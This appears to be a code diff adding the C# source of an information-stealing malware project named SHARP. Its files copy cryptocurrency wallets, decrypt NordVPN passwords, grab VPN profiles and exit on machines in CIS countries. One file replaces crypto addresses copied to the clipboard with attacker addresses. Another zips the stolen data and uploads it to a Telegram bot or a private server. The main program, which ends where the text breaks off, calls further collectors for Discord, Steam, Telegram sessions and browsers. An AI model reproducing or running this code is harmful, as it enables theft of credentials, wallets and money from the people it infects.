+		{
+			return TargetDate < ConfigDate;
+		}
+
+		private static void unSNG()
+		{
+			string country = Counting.country;
+			string[] blockedCountries = { "Russia", "Belarus", "Ukraine", "Moldova", "Kazakhstan", "Kyrgyzstan", "Uzbekistan", "Armenia", "Azerbaijan", "Tadjikistan", "Turkmenistan" };
+
+			if (blockedCountries.Contains(country))
+				Environment.Exit(0);
+		}
+
+		public static void CheckS()
+		{
+			string markerFile = Path.Combine(LocalData, "CefSharp", "CefSharp_BrowserSubprocess.dat");
+			if (File.Exists(markerFile))
+				Environment.Exit(0);
+		}
+
+		public static void Start()
+		{
+			CheckS();
+			string cefSharpDir = Path.Combine(LocalData, "CefSharp");
+			Directory.CreateDirectory(cefSharpDir);
+			File.WriteAllText(Path.Combine(cefSharpDir, "CefSharp_BrowserSubprocess.dat"), "-20a");
+		}
+
+		public static void Stop()
+		{
+			string cefSharpDir = Path.Combine(LocalData, "CefSharp");
+			if (Directory.Exists(cefSharpDir))
+				Directory.Delete(cefSharpDir, true);
+		}
+
+		public static void checkSNG()
+		{
+			if (Config.antiSNG)
+				unSNG();
+		}
+
+		public static void GetConfigData()
+		{
+			string configPath = Path.Combine(ExploitDir, "config.json");
+			string contents = $@"{{
+                ""ip"": ""{IP}"",
+                ""country"": ""{Counting.country}"",
+                ""cookies"": {Counting.Cookies},
+                ""passwords"": {Counting.Passwords},
+                ""wallets"": {Counting.Wallets},
+                ""name"": ""{Environment.UserName}""
+            }}";
+
+			Directory.CreateDirectory(ExploitDir);
+			File.WriteAllText(configPath, contents);
+		}
+	}
+}

IFolders.cs

@@ -0,0 +1,9 @@
+namespace SHARP
+{
+    public interface IFolders
+    {
+      string Source { get; }
+
+      string Target { get; }
+    }
+}

IP.cs

@@ -0,0 +1,47 @@
+using System;
+using System.IO;
+using System.Net;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class IP
+    {
+      public static async Task ip() => Counting.country = IP.GetLocationInfo(Help.IP).Country;
+
+      private static LocationInfo GetLocationInfo(string ipAddress)
+      {
+        try
+        {
+          WebRequest webRequest = WebRequest.Create("http://ip-api.com/json/" + ipAddress);
+          webRequest.Method = "GET";
+          using (WebResponse response = webRequest.GetResponse())
+          {
+            using (Stream responseStream = response.GetResponseStream())
+            {
+              using (StreamReader streamReader = new StreamReader(responseStream))
+              {
+                string[] strArray1 = streamReader.ReadToEnd().Split(',');
+                LocationInfo locationInfo = new LocationInfo();
+                foreach (string str1 in strArray1)
+                {
+                  char[] chArray = new char[1]{ ':' };
+                  string[] strArray2 = str1.Split(chArray);
+                  string str2 = strArray2[0].Trim().TrimStart('"').TrimEnd('"');
+                  string str3 = strArray2[1].Trim().TrimStart('"').TrimEnd('"');
+                  if (str2 == "country")
+                    locationInfo.Country = str3;
+                }
+                return locationInfo;
+              }
+            }
+          }
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine("Ошибка при получении данных: " + ex.Message);
+        }
+        return (LocationInfo) null;
+      }
+    }
+}

Jaxx.cs

@@ -0,0 +1,26 @@
+using System.IO;
+
+namespace SHARP
+{
+    internal class Jaxx
+    {
+      public static string JaxxDir = "\\Wallets\\Jaxx\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\";
+
+      public static void JaxxStr(string directorypath)
+      {
+        try
+        {
+          foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\").GetFiles())
+          {
+            Directory.CreateDirectory(directorypath + Jaxx.JaxxDir);
+            file.CopyTo(directorypath + Jaxx.JaxxDir + file.Name);
+          }
+          ++Counting.jaxx;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

LitecoinCore.cs

@@ -0,0 +1,23 @@
+using Microsoft.Win32;
+using System.IO;
+
+namespace SHARP
+{
+    internal class LitecoinCore
+    {
+      public static void LitecStr(string directorypath)
+      {
+        try
+        {
+          RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Litecoin").OpenSubKey("Litecoin-Qt");
+          Directory.CreateDirectory(directorypath + "\\Wallets\\LitecoinCore\\");
+          File.Copy(registryKey.GetValue("strDataDir").ToString() + "\\wallet.dat", directorypath + "\\LitecoinCore\\wallet.dat");
+          ++Counting.litecoincore;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

LocationInfo.cs

@@ -0,0 +1,7 @@
+namespace SHARP
+{
+    internal class LocationInfo
+    {
+      public string Country { get; set; }
+    }
+}

Metamask.cs

@@ -0,0 +1,57 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class Metamask
+    {
+      private static string LocalApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
+      private static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+
+      public static async Task Get()
+      {
+        Dictionary<string, string> dictionary = new Dictionary<string, string>()
+        {
+          {
+            "Google",
+            Path.Combine(Metamask.LocalApplicationData, "Google", "Chrome", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn")
+          },
+          {
+            "Edge_v1",
+            Path.Combine(Metamask.LocalApplicationData, "Microsoft", "Edge", "User Data", "Default", "Local Extension Settings", "ejbalbakoplchlghecdalmeeeajnimhm")
+          },
+          {
+            "Edge_v2",
+            Path.Combine(Metamask.LocalApplicationData, "Microsoft", "Edge", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn")
+          },
+          {
+            "OperaGX",
+            Path.Combine(Metamask.ApplicationData, "Opera Software", "Opera GX Stable", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn")
+          },
+          {
+            "Brave",
+            Path.Combine(Metamask.LocalApplicationData, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn")
+          }
+        };
+        List<Task> taskList = new List<Task>();
+        foreach (KeyValuePair<string, string> path in dictionary)
+        {
+          if (Directory.Exists(path.Value))
+            taskList.Add(Metamask.GetMetData(path));
+        }
+        await Task.WhenAll((IEnumerable<Task>) taskList);
+      }
+
+      private static async Task GetMetData(KeyValuePair<string, string> path)
+      {
+        string path1 = Help.ExploitDir + "\\Wallets";
+        if (!Directory.Exists(path1))
+          Directory.CreateDirectory(path1);
+        Filemanager.CopyDirectory(path.Value, Path.Combine(Help.ExploitDir + "\\Wallets\\Metamask", "Metamask_Extension_" + path.Key));
+        ++Counting.metamask;
+        ++Counting.Wallets;
+      }
+    }
+}

Monero.cs

@@ -0,0 +1,27 @@
+using Microsoft.Win32;
+using System.IO;
+
+namespace SHARP
+{
+    internal class Monero
+    {
+      public static string base64xmr = "\\Wallets\\Monero\\";
+
+      public static void XMRcoinStr(string directorypath)
+      {
+        try
+        {
+          RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("monero-project").OpenSubKey("monero-core");
+          Directory.CreateDirectory(directorypath + Monero.base64xmr);
+          string sourceFileName = registryKey.GetValue("wallet_path").ToString().Replace("/", "\\");
+          Directory.CreateDirectory(directorypath + Monero.base64xmr);
+          File.Copy(sourceFileName, directorypath + Monero.base64xmr + sourceFileName.Split('\\')[sourceFileName.Split('\\').Length - 1]);
+          ++Counting.monero;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

Monitor.cs

@@ -0,0 +1,49 @@
+using System.Collections.Generic;
+using System.Text.RegularExpressions;
+using System.Threading;
+
+namespace SHARP
+{
+    internal class Monitor
+    {
+      private static string previous_buffer = "";
+
+      private static bool clipboard_changed(string buffer)
+      {
+        if (!(buffer != Monitor.previous_buffer))
+          return false;
+        Monitor.previous_buffer = buffer;
+        return true;
+      }
+
+      private static void replace_clipboard(string buffer)
+      {
+        if (string.IsNullOrEmpty(buffer))
+          return;
+        foreach (KeyValuePair<string, Regex> pattern in Patterns.patterns)
+        {
+          string key = pattern.Key;
+          if (pattern.Value.Match(buffer).Success)
+          {
+            string address = Config.addresses[key];
+            if (!string.IsNullOrEmpty(address) && !buffer.Equals(address))
+            {
+              Clipboard.SetText(address);
+              break;
+            }
+          }
+        }
+      }
+
+      public static void run()
+      {
+        while (true)
+        {
+          string text = Clipboard.GetText();
+          if (Monitor.clipboard_changed(text))
+            Monitor.replace_clipboard(text);
+          Thread.Sleep(Config.clipboard_check_delay);
+        }
+      }
+    }
+}

NordVPN.cs

@@ -0,0 +1,60 @@
+using System;
+using System.IO;
+using System.Security.Cryptography;
+using System.Text;
+using System.Xml;
+
+namespace SHARP
+{
+    internal class NordVPN
+    {
+      private static string Decode(string s)
+      {
+        try
+        {
+          return Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(s), (byte[]) null, DataProtectionScope.LocalMachine));
+        }
+        catch
+        {
+          return "";
+        }
+      }
+
+      public static void Save(string head)
+      {
+        string str1 = head;
+        DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Help.LocalData, nameof (NordVPN)));
+        if (!directoryInfo.Exists)
+          return;
+        try
+        {
+          foreach (DirectoryInfo directory1 in directoryInfo.GetDirectories("NordVpn.exe*"))
+          {
+            foreach (FileSystemInfo directory2 in directory1.GetDirectories())
+            {
+              string str2 = Path.Combine(directory2.FullName, "user.config");
+              if (File.Exists(str2))
+              {
+                Directory.CreateDirectory(str1 + "\\VPN\\NordVPN\\");
+                XmlDocument xmlDocument = new XmlDocument();
+                xmlDocument.Load(str2);
+                string innerText1 = xmlDocument.SelectSingleNode("//setting[@name='Username']/value").InnerText;
+                string innerText2 = xmlDocument.SelectSingleNode("//setting[@name='Password']/value").InnerText;
+                if (innerText1 != null && !string.IsNullOrEmpty(innerText1) && innerText2 != null && !string.IsNullOrEmpty(innerText2))
+                {
+                  string str3 = NordVPN.Decode(innerText1);
+                  string str4 = NordVPN.Decode(innerText2);
+                  ++Counting.NordVPN;
+                  File.AppendAllText(str1 + "\\VPN\\NordVPN\\\\accounts.txt", $"Username: {str3}\nPassword: {str4}\n\n");
+                }
+              }
+            }
+          }
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+        }
+      }
+    }
+}

OMethod.cs

@@ -0,0 +1,16 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace SHARP
+{
+    internal class OMethod
+    {
+      [ComVisible(true)]
+      [Serializable]
+      public enum OMethods
+      {
+        TelegramBot,
+        MyPrivateServer,
+      }
+    }
+}

OpenVPN.cs

@@ -0,0 +1,30 @@
+using System;
+using System.IO;
+
+namespace SHARP
+{
+    internal class OpenVPN
+    {
+      public static void Save(string head)
+      {
+        string path1 = head;
+        string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "OpenVPN Connect\\profiles");
+        if (!Directory.Exists(path))
+          return;
+        try
+        {
+          Directory.CreateDirectory(path1 + "\\VPN\\OpenVPN");
+          foreach (string file in Directory.GetFiles(path))
+          {
+            if (Path.GetExtension(file).Contains("ovpn"))
+              File.Copy(file, Path.Combine(path1, "\\VPN\\OpenVPN" + Path.GetFileName(file)));
+          }
+          ++Counting.OpenVPN;
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+        }
+      }
+    }
+}

Otstuk.cs

@@ -0,0 +1,124 @@
+using System;
+using System.IO;
+using System.IO.Compression;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class Otstuk
+    {
+      public static async Task Run(OMethod.OMethods method)
+      {
+        try
+        {
+          if (method == OMethod.OMethods.TelegramBot)
+            await Otstuk.TelegramOtstuk();
+          if (method != OMethod.OMethods.MyPrivateServer)
+            return;
+          await Otstuk.OtstukToServer(Config.myPrivateServer);
+        }
+        catch
+        {
+        }
+      }
+
+      private static string BuildUrl(OMethod.OMethods method)
+      {
+        return method == OMethod.OMethods.TelegramBot ? $"{Config.ApiUrl}{Config.token}/sendDocument?chat_id={Config.id}{"&caption=" + SenderAPI.Caption()}&parse_mode=HTML" : (method == OMethod.OMethods.MyPrivateServer ? Config.myPrivateServer : "");
+      }
+
+      private static async Task TelegramOtstuk()
+      {
+        try
+        {
+          string zipArchiveName = Help.IP + ".zip";
+          string exploitDir = Help.ExploitDir;
+          string targetDirectory = Help.dir;
+          string targetDirectory1 = targetDirectory;
+          string zipFileName = zipArchiveName;
+          await Otstuk.CreateZipArchive(exploitDir, targetDirectory1, zipFileName);
+          string path = Path.Combine(targetDirectory, zipArchiveName);
+          string fileName = Path.GetFileName(path);
+          byte[] file = File.ReadAllBytes(path);
+          string str = "gggf980fd98f98fd980fd890f98f09f08fd980fd909uitu94U098089U4TJ908ERGJ098R089GAR09G90ADRG098AR089GR908GAD90RG";
+          string filename = fileName;
+          string url = Otstuk.BuildUrl(OMethod.OMethods.TelegramBot);
+          string apiKey = str;
+          await SenderAPI.TGotstuk(file, filename, "application/x-ms-dos-executable", url, apiKey);
+          zipArchiveName = (string) null;
+          targetDirectory = (string) null;
+        }
+        catch
+        {
+        }
+      }
+
+      private static async Task OtstukToServer(string url)
+      {
+        try
+        {
+          string zipArchiveName = Help.IP + ".zip";
+          string exploitDir = Help.ExploitDir;
+          string targetDirectory = Help.dir;
+          string targetDirectory1 = targetDirectory;
+          string zipFileName = zipArchiveName;
+          await Otstuk.CreateZipArchive(exploitDir, targetDirectory1, zipFileName);
+          string path = Path.Combine(targetDirectory, zipArchiveName);
+          await SenderAPI.MyPrivateServerOtstuk(url, Path.GetFileName(path), File.ReadAllBytes(path));
+          zipArchiveName = (string) null;
+          targetDirectory = (string) null;
+        }
+        catch
+        {
+        }
+      }
+
+      public static async Task CreateZipArchive(
+        string sourceDirectory,
+        string targetDirectory,
+        string zipFileName)
+      {
+        try
+        {
+          if (!Directory.Exists(sourceDirectory))
+          {
+            Console.WriteLine("Указанная папка не существует.");
+          }
+          else
+          {
+            if (!Directory.Exists(targetDirectory))
+              Directory.CreateDirectory(targetDirectory);
+            string path = Path.Combine(targetDirectory, zipFileName);
+            if (File.Exists(path))
+            {
+              Console.WriteLine("Файл с таким именем уже существует.");
+            }
+            else
+            {
+              using (FileStream fileStream1 = new FileStream(path, FileMode.Create))
+              {
+                using (ZipArchive zipArchive = new ZipArchive((Stream) fileStream1, ZipArchiveMode.Create, true))
+                {
+                  foreach (FileInfo file in new DirectoryInfo(sourceDirectory).GetFiles("*.*", SearchOption.AllDirectories))
+                  {
+                    string entryName = file.FullName.Substring(sourceDirectory.Length + 1);
+                    ZipArchiveEntry entry = zipArchive.CreateEntry(entryName, CompressionLevel.Optimal);
+                    using (FileStream fileStream2 = new FileStream(file.FullName, FileMode.Open))
+                    {
+                      using (Stream destination = entry.Open())
+                        fileStream2.CopyTo(destination);
+                    }
+                  }
+                }
+              }
+              Console.WriteLine($"Архив {zipFileName} успешно создан в папке {targetDirectory}");
+            }
+          }
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine("Ошибка при создании архива: " + ex.Message);
+        }
+      }
+    }
+}

PIAVPN.cs

@@ -0,0 +1,39 @@
+using System;
+using System.IO;
+
+namespace SHARP
+{
+    internal class PIAVPN
+    {
+      public static void SaveFileSession(string head)
+      {
+        string path = Help.CommonData + "\\pia_manager";
+        string str1 = head + "\\VPN\\PIA (Private Internet Access) VPN";
+        if (!Directory.Exists(path))
+        {
+          Console.WriteLine("Исходная директория не существует.");
+        }
+        else
+        {
+          if (!Directory.Exists(str1))
+            Directory.CreateDirectory(str1);
+          foreach (string file in Directory.GetFiles(path))
+          {
+            string fileName = Path.GetFileName(file);
+            File.Copy(file, Path.Combine(str1, fileName), true);
+            Console.WriteLine($"Файл {fileName} скопирован успешно.");
+            ++Counting.pia;
+          }
+          foreach (string directory in Directory.GetDirectories(path))
+          {
+            string fileName = Path.GetFileName(directory);
+            string str2 = Path.Combine(str1, fileName);
+            Directory.CreateDirectory(str2);
+            Filemanager.CopyDirectory(directory, str2);
+            ++Counting.pia;
+          }
+          Console.WriteLine("Копирование завершено.");
+        }
+      }
+    }
+}

PasswordFormat.cs

@@ -0,0 +1,16 @@
+namespace SHARP
+{
+    internal struct PasswordFormat
+    {
+      internal readonly string Username;
+      internal readonly string Password;
+      internal readonly string Url;
+
+      internal PasswordFormat(string username, string password, string url)
+      {
+        this.Username = username;
+        this.Password = password;
+        this.Url = url;
+      }
+    }
+}

PathsCV20.cs

@@ -0,0 +1,466 @@
+using System;
+using System.Collections.Generic;
+
+namespace SHARP
+{
+    internal class PathsCV20
+    {
+      private const int DEBUG_PORT = 9222;
+      private static readonly string none = "None";
+      public static string commandT = $"--restore-last-session --remote-debugging-port={9222} --user-data-dir=";
+      private static readonly string LOCAL_APP_DATA = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
+      public static readonly Dictionary<string, Dictionary<string, string>> PATHS = new Dictionary<string, Dictionary<string, string>>()
+      {
+        {
+          "Google",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Google\\Chrome\\Application\\chrome.exe"
+            }
+          }
+        },
+        {
+          "Edge",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.none ?? ""
+            }
+          }
+        },
+        {
+          "Brave",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"
+            }
+          }
+        },
+        {
+          "Opera",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files (x86)\\Opera\\opera.exe"
+            },
+            {
+              "bin2",
+              PathsCV20.LOCAL_APP_DATA + "\\Programs\\Opera\\opera.exe"
+            },
+            {
+              "bin3",
+              "C:\\Program Files\\Opera\\opera.exe"
+            }
+          }
+        },
+        {
+          "Yandex",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              PathsCV20.LOCAL_APP_DATA + "\\Yandex\\YandexBrowser\\Application\\browser.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files\\Yandex\\YandexBrowser\\Application\\browser.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.none ?? ""
+            }
+          }
+        },
+        {
+          "Chromium",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Chromium\\Application\\chrome.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Chromium\\Application\\chrome.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.none ?? ""
+            }
+          }
+        },
+        {
+          "Opera GX",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files (x86)\\Opera GX\\opera.exe"
+            },
+            {
+              "bin2",
+              PathsCV20.LOCAL_APP_DATA + "\\Programs\\Opera GX\\opera.exe"
+            },
+            {
+              "bin3",
+              "C:\\Program Files\\Opera GX\\opera.exe"
+            }
+          }
+        },
+        {
+          "Dragon",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Comodo\\Dragon\\dragon.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Comodo\\Dragon\\dragon.exe"
+            },
+            {
+              "bin3",
+              "C:\\Program Files\\Comodo\\Comodo Dragon\\dragon.exe"
+            }
+          }
+        },
+        {
+          "EpicPrivacy",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Epic Privacy Browser\\epic.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Epic Privacy Browser\\epic.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Epic Privacy Browser\\Application\\epic.exe"
+            }
+          }
+        },
+        {
+          "Iridium",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Iridium Browser\\iridium.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Iridium Browser\\iridium.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.none ?? ""
+            }
+          }
+        },
+        {
+          "Slimjet",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Slimjet\\slimjet.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Slimjet\\slimjet.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Slimjet\\slimjet.exe"
+            }
+          }
+        },
+        {
+          "UR-Browser",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\UR Browser\\application\\ur.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\UR Browser\\application\\ur.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.none ?? ""
+            }
+          }
+        },
+        {
+          "Vivaldi",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Vivaldi\\Application\\vivaldi.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Vivaldi\\Application\\vivaldi.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Vivaldi\\Application\\vivaldi.exe"
+            }
+          }
+        },
+        {
+          "Google(x86)",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files\\Vivaldi\\Application\\vivaldi.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.none ?? ""
+            }
+          }
+        },
+        {
+          "MapleStudio",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Maple 20XX\\bin.X86_64\\maplew.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files\\Maple 20XX\\bin\\maple.exe"
+            },
+            {
+              "bin3",
+              "C:\\Program Files\\Maple 20XX\\bin.X64\\maplew.exe"
+            }
+          }
+        },
+        {
+          "7Star",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\7Star Browser\\7star.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\7Star Browser\\7star.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.none ?? ""
+            }
+          }
+        },
+        {
+          "CentBrowser",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\CentBrowser\\chrome.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\CentBrowser\\chrome.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.none ?? ""
+            }
+          }
+        },
+        {
+          "Chedot",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Chedot\\chrome.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Chedot\\chrome.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Chedot\\chrome.exe"
+            }
+          }
+        },
+        {
+          "Kometa",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Kometa\\kometa.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Kometa\\kometa.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Kometa\\kometa.exe"
+            }
+          }
+        },
+        {
+          "Elements Browser",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Elements Browser\\elements.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Elements Browser\\elements.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.none ?? ""
+            }
+          }
+        },
+        {
+          "Uran",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Uran Browser\\uran.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Uran Browser\\uran.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Uran Browser\\application\\uran.exe"
+            }
+          }
+        },
+        {
+          "Amigo",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Amigo\\amigo.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Amigo\\amigo.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Amigo\\amigo.exe"
+            }
+          }
+        },
+        {
+          "Atom",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Mail.Ru\\Atom\\application\\atom.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files\\VK\\VKBrowser\\application\\vk.exe"
+            },
+            {
+              "bin3",
+              "C:\\Program Files (x86)\\Mail.Ru\\Atom\\application\\atom.exe"
+            }
+          }
+        },
+        {
+          "Torch",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Torch\\torch.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Torch\\torch.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Torch\\torch.exe"
+            }
+          }
+        },
+        {
+          "360Browser",
+          new Dictionary<string, string>()
+          {
+            {
+              "bin1",
+              "C:\\Program Files\\Torch\\torch.exe"
+            },
+            {
+              "bin2",
+              "C:\\Program Files (x86)\\Torch\\torch.exe"
+            },
+            {
+              "bin3",
+              PathsCV20.LOCAL_APP_DATA + "\\Torch\\torch.exe"
+            }
+          }
+        }
+      };
+    }
+}

Patterns.cs

@@ -0,0 +1,56 @@
+using System.Collections.Generic;
+using System.Text.RegularExpressions;
+
+namespace SHARP
+{
+    internal class Patterns
+    {
+      public static Dictionary<string, Regex> patterns = new Dictionary<string, Regex>()
+      {
+        {
+          "btc1",
+          new Regex("(?:^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}$)")
+        },
+        {
+          "btc2",
+          new Regex("^(bc1|tb1)(p)?[a-z0-9]{26,62}$")
+        },
+        {
+          "usdtTRC20",
+          new Regex("^T[A-Za-z0-9]{33}$")
+        },
+        {
+          "eth",
+          new Regex("(?:^0x[a-fA-F0-9]{40}$)")
+        },
+        {
+          "xmr",
+          new Regex("(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)")
+        },
+        {
+          "xlm",
+          new Regex("(?:^G[0-9a-zA-Z]{55}$)")
+        },
+        {
+          "xrp",
+          new Regex("(?:^r[0-9a-zA-Z]{24,34}$)")
+        },
+        {
+          "ltc",
+          new Regex("(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)")
+        },
+        {
+          "nec",
+          new Regex("(?:^A[0-9a-zA-Z]{33}$)")
+        },
+        {
+          "bch",
+          new Regex("^((bitcoincash:)?(q|p)[a-z0-9]{41})")
+        },
+        {
+          "dash",
+          new Regex("(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)")
+        }
+      };
+    }
+}

ProcessList.cs

@@ -0,0 +1,36 @@
+using System.Diagnostics;
+using System.IO;
+using System.Management;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class ProcessList
+    {
+      public static async Task WriteProcesses(string head)
+      {
+        string str = head;
+        foreach (Process process in Process.GetProcesses())
+          File.AppendAllText(str + "\\Process.txt", $"NAME: {process.ProcessName}\n\n");
+      }
+
+      public static string ProcessExecutablePath(Process process)
+      {
+        try
+        {
+          return process.MainModule.FileName;
+        }
+        catch
+        {
+          foreach (ManagementObject managementObject in new ManagementObjectSearcher("SELECT ExecutablePath, ProcessID FROM Win32_Process").Get())
+          {
+            object obj1 = managementObject["ProcessID"];
+            object obj2 = managementObject["ExecutablePath"];
+            if (obj2 != null && obj1.ToString() == process.Id.ToString())
+              return obj2.ToString();
+          }
+        }
+        return "";
+      }
+    }
+}

Program.cs

@@ -0,0 +1,66 @@
+using System;
+using System.IO;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class Program
+    {
+      private static async Task Main()
+      {
+        try
+        {
+          string ExDir = Help.ExploitDir;
+          Help.Start();
+          Directory.CreateDirectory(Help.ExploitDir);
+          await IP.ip();
+          Help.checkSNG();
+          await Task.Run((Func<Task>) (async () => await SystemInfo.GetSystem(ExDir)));
+          await Task.Run((Func<Task>) (async () => await Files.GetFiles(ExDir)));
+          await Task.Run((Func<Task>) (async () => await ProcessList.WriteProcesses(ExDir)));
+          await Task.Run((Func<Task>) (async () => await Telegram.GetTelegramSessions(ExDir)));
+          await Task.Run((Func<Task>) (async () => await FileZilla.GetFileZilla(ExDir)));
+          await Task.Run((Func<Task>) (async () => await TotalCommander.Start(ExDir)));
+          await Task.Run((Func<Task>) (async () => await Steam.SteamGet(ExDir)));
+          await Task.Run((Func<Task>) (async () => await StartVPN.Start(ExDir)));
+          await Task.Run((Func<Task>) (async () => await Discord.Run(ExDir)));
+          await Task.Run((Func<Task>) (async () => await StartWallets.Start()));
+          await Task.Run((Func<Task>) (async () => await Browsers.ChromiumBrowsers()));
+          await Task.Run((Func<Task>) (async () => await Browsers.GeckoBrowsers()));
